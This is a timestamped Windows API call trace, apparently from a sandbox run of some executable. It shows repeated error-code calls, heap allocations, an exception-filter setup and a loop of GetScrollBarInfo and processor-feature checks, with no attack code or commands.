GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.889] SetLastError (dwErrCode=0x0) [0026.889] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.890] SetLastError (dwErrCode=0x0) [0026.890] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x0, Size=0x3b) returned 0x1ff1990 [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.891] SetLastError (dwErrCode=0x0) [0026.891] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.892] SetLastError (dwErrCode=0x0) [0026.892] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.893] SetLastError (dwErrCode=0x0) [0026.893] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.894] SetLastError (dwErrCode=0x0) [0026.894] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] GetLastError () returned 0x0 [0026.895] SetLastError (dwErrCode=0x0) [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x98) returned 0x1ff19d8 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x1f) returned 0x1ff1a78 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x36) returned 0x1ff1aa0 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x37) returned 0x1ff1ae0 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x3c) returned 0x1ff1b20 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x31) returned 0x1ff1b68 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x17) returned 0x1ff1ba8 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x24) returned 0x1ff1bc8 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x14) returned 0x1ff1bf8 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0xd) returned 0x1ff1c18 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x25) returned 0x1ff1c30 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x39) returned 0x1ff1c60 [0026.895] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x18) returned 0x1ff1ca8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x17) returned 0x1ff1cc8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0xe) returned 0x1ff1ce8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x69) returned 0x1ff1d00 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x3e) returned 0x1ff1d78 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x1b) returned 0x1ff1dc0 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x1d) returned 0x1ff1de8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x48) returned 0x1ff1e10 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x12) returned 0x1ff1e60 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x18) returned 0x1ff1e80 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x1b) returned 0x1ff1ea0 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x24) returned 0x1ff1ec8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x29) returned 0x1ff1ef8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x1e) returned 0x1ff1f30 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x41) returned 0x1ff1f58 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x17) returned 0x1ff1fa8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0xf) returned 0x1ff1fc8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x16) returned 0x1ff1fe8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x2a) returned 0x1ff2008 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x29) returned 0x1ff2040 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x15) returned 0x1ff2078 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x1e) returned 0x1ff2098 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x2a) returned 0x1ff20c0 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x12) returned 0x1ff20f8 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x18) returned 0x1ff2118 [0026.896] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x46) returned 0x1ff2138 [0026.896] HeapFree (in: hHeap=0x1ff0000, dwFlags=0x0, lpMem=0x1ff11f8 | out: hHeap=0x1ff0000) returned 1 [0026.897] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x80) returned 0x1ff11f8 [0026.897] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x800) returned 0x1ff2188 [0026.897] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0026.897] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x451aa9) returned 0x0 [0026.897] RtlSizeHeap (HeapHandle=0x1ff0000, Flags=0x0, MemoryPointer=0x1ff11f8) returned 0x80 [0026.897] GetLastError () returned 0x0 [0026.897] SetLastError (dwErrCode=0x0) [0026.897] GetLastError () returned 0x0 [0026.897] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.898] GetLastError () returned 0x0 [0026.898] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.899] SetLastError (dwErrCode=0x0) [0026.899] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.900] SetLastError (dwErrCode=0x0) [0026.900] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.901] SetLastError (dwErrCode=0x0) [0026.901] GetLastError () returned 0x0 [0026.902] SetLastError (dwErrCode=0x0) [0026.902] GetLastError () returned 0x0 [0026.902] SetLastError (dwErrCode=0x0) [0026.902] GetLastError () returned 0x0 [0026.902] SetLastError (dwErrCode=0x0) [0026.902] GetMessageExtraInfo () returned 0x0 [0026.902] GetLastError () returned 0x0 [0026.902] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.902] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.902] GetMessageExtraInfo () returned 0x0 [0026.902] GetLastError () returned 0x578 [0026.902] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.902] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.902] GetMessageExtraInfo () returned 0x0 [0026.902] GetLastError () returned 0x578 [0026.902] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.902] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.902] GetMessageExtraInfo () returned 0x0 [0026.903] GetLastError () returned 0x578 [0026.903] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.903] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.903] GetMessageExtraInfo () returned 0x0 [0026.903] GetLastError () returned 0x578 [0026.903] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.903] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.903] GetMessageExtraInfo () returned 0x0 [0026.903] GetLastError () returned 0x578 [0026.903] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.903] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.903] GetMessageExtraInfo () returned 0x0 [0026.903] GetLastError () returned 0x578 [0026.903] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.903] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.903] GetMessageExtraInfo () returned 0x0 [0026.904] GetLastError () returned 0x578 [0026.904] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.904] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.904] GetMessageExtraInfo () returned 0x0 [0026.904] GetLastError () returned 0x578 [0026.904] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.904] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.904] GetMessageExtraInfo () returned 0x0 [0026.904] GetLastError () returned 0x578 [0026.904] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.904] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.904] GetMessageExtraInfo () returned 0x0 [0026.904] GetLastError () returned 0x578 [0026.904] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.904] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.904] GetMessageExtraInfo () returned 0x0 [0026.904] GetLastError () returned 0x578 [0026.904] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.904] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.905] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.905] GetMessageExtraInfo () returned 0x0 [0026.905] GetLastError () returned 0x578 [0026.905] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.906] GetLastError () returned 0x578 [0026.906] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.906] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.906] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.907] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.907] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.907] GetMessageExtraInfo () returned 0x0 [0026.907] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] 